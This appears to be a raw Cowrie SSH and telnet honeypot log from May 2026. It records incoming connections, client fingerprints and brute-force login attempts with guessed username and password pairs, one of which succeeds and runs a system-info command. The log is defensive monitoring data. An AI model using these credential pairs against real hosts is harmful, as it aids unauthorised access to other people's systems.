{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:22.201012Z","src_ip":"45.153.34.97","session":"891215fa87b5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:22.480911Z","src_ip":"45.153.34.97","session":"891215fa87b5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:23.156775Z","src_ip":"45.153.34.97","session":"891215fa87b5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:23.160438Z","src_ip":"45.153.34.97","session":"891215fa87b5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:23.285273Z","src_ip":"45.153.34.97","session":"891215fa87b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:23.290675Z","src_ip":"45.153.34.97","session":"891215fa87b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":46730,"dst_ip":"10.17.0.5","dst_port":22,"session":"c67cd84f48e1","protocol":"ssh","message":"New connection: 45.153.34.97:46730 (10.17.0.5:22) [session: c67cd84f48e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:26.069866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:26.124596Z","src_ip":"45.153.34.97","session":"c67cd84f48e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:26.304728Z","src_ip":"45.153.34.97","session":"c67cd84f48e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"123456","message":"login attempt [customer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:26.593558Z","src_ip":"45.153.34.97","session":"c67cd84f48e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":51380,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b803464c7cf","protocol":"ssh","message":"New connection: 43.153.36.83:51380 (10.17.0.5:22) [session: 7b803464c7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:27.378846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:27.384469Z","src_ip":"43.153.36.83","session":"7b803464c7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:27.456875Z","src_ip":"43.153.36.83","session":"7b803464c7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:27.679074Z","src_ip":"45.153.34.97","session":"c67cd84f48e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:27.763515Z","src_ip":"43.153.36.83","session":"7b803464c7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":40178,"dst_ip":"159.203.135.109","dst_port":22,"session":"170dff90bfa4","protocol":"ssh","message":"New connection: 43.153.31.20:40178 (159.203.135.109:22) [session: 170dff90bfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:27.798214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:27.803945Z","src_ip":"43.153.31.20","session":"170dff90bfa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:27.873043Z","src_ip":"43.153.31.20","session":"170dff90bfa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ming","password":"123456","message":"login attempt [ming/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:28.179557Z","src_ip":"43.153.31.20","session":"170dff90bfa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:28.834896Z","src_ip":"43.153.36.83","session":"7b803464c7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:29.250810Z","src_ip":"43.153.31.20","session":"170dff90bfa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":15318,"dst_ip":"10.17.0.5","dst_port":22,"session":"db825d49858e","protocol":"ssh","message":"New connection: 45.153.34.97:15318 (10.17.0.5:22) [session: db825d49858e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:30.305348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:30.310613Z","src_ip":"45.153.34.97","session":"db825d49858e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:30.393566Z","src_ip":"45.153.34.97","session":"db825d49858e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123","message":"login attempt [david/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:30.791974Z","src_ip":"45.153.34.97","session":"db825d49858e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:31.878306Z","src_ip":"45.153.34.97","session":"db825d49858e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39560,"dst_ip":"10.17.0.5","dst_port":23,"session":"815fe31cb03e","protocol":"telnet","message":"New connection: 152.42.224.71:39560 (10.17.0.5:23) [session: 815fe31cb03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:32.853508Z"}
{"eventid":"cowrie.session.closed","duration":61.72261333465576,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:33.508380Z","src_ip":"152.42.224.71","session":"e1f3f865ef1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":15322,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc8176b8e009","protocol":"ssh","message":"New connection: 45.153.34.97:15322 (10.17.0.5:22) [session: bc8176b8e009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:34.208437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:34.213183Z","src_ip":"45.153.34.97","session":"bc8176b8e009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:34.407983Z","src_ip":"45.153.34.97","session":"bc8176b8e009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaa","message":"login attempt [root/aaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:35.069622Z","src_ip":"45.153.34.97","session":"bc8176b8e009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46454,"dst_ip":"10.17.0.5","dst_port":23,"session":"092ce131fd4a","protocol":"telnet","message":"New connection: 152.42.224.71:46454 (10.17.0.5:23) [session: 092ce131fd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:36.212448Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:36.278716Z","src_ip":"45.153.34.97","session":"bc8176b8e009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.701334714889526,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:37.320435Z","src_ip":"152.42.224.71","session":"a3c772842ffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":15330,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3723174a8c7","protocol":"ssh","message":"New connection: 45.153.34.97:15330 (10.17.0.5:22) [session: f3723174a8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:38.369438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:38.377948Z","src_ip":"45.153.34.97","session":"f3723174a8c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:38.470862Z","src_ip":"45.153.34.97","session":"f3723174a8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"123","message":"login attempt [bob/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:38.881109Z","src_ip":"45.153.34.97","session":"f3723174a8c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:39.983422Z","src_ip":"45.153.34.97","session":"f3723174a8c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":47644,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a21b7fca5c2","protocol":"ssh","message":"New connection: 43.135.177.217:47644 (10.17.0.5:22) [session: 4a21b7fca5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:40.854940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:40.863726Z","src_ip":"43.135.177.217","session":"4a21b7fca5c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:40.931902Z","src_ip":"43.135.177.217","session":"4a21b7fca5c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nvidia1","message":"login attempt [root/nvidia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:41.234185Z","src_ip":"43.135.177.217","session":"4a21b7fca5c2","protocol":"ssh"}
